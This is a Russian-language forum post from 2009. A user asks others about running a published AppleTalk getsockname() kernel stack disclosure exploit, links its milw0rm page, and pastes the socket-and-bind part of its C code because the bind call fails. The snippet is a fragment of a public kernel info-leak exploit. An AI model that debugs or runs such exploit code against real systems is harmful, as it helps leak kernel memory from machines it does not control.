Показать сообщение отдельно

  #9  
Старый 28.08.2009, 21:14
Psi.X
Познающий
Регистрация: 12.04.2009
Сообщений: 45
Провел на форуме:
122612

Репутация: 13
По умолчанию

Народ, кто запускал последний AppleTalk getsockname() 8-bytes kernel stack disclosure ?

http://www.milw0rm.com/exploits/9521

У меня чет сокет не биндится, вот тут ошибка на этапе выполнения:
Код:
    struct sockaddr_at  sat;
    int                 s, len = sizeof(sat), occ = 500;
    char                prev_zero[sizeof(sat.sat_zero)] = { 0 };

    s = socket(AF_APPLETALK, SOCK_DGRAM, 0);
    if ( s == -1 )
    {
        perror("socket");
        return EXIT_FAILURE;
    }

    memset(&sat, 0, sizeof(sat));
    sat.sat_family = AF_APPLETALK;
    sat.sat_addr.s_net = htons(ATADDR_ANYNET);
    sat.sat_addr.s_node = ATADDR_ANYNODE;
    sat.sat_port = ATADDR_ANYPORT;

    if ( bind(s, (struct sockaddr *) &sat, len) < 0 )   <<<<<<
    {
        perror("bind");
        return EXIT_FAILURE;
    }
 
Ответить с цитированием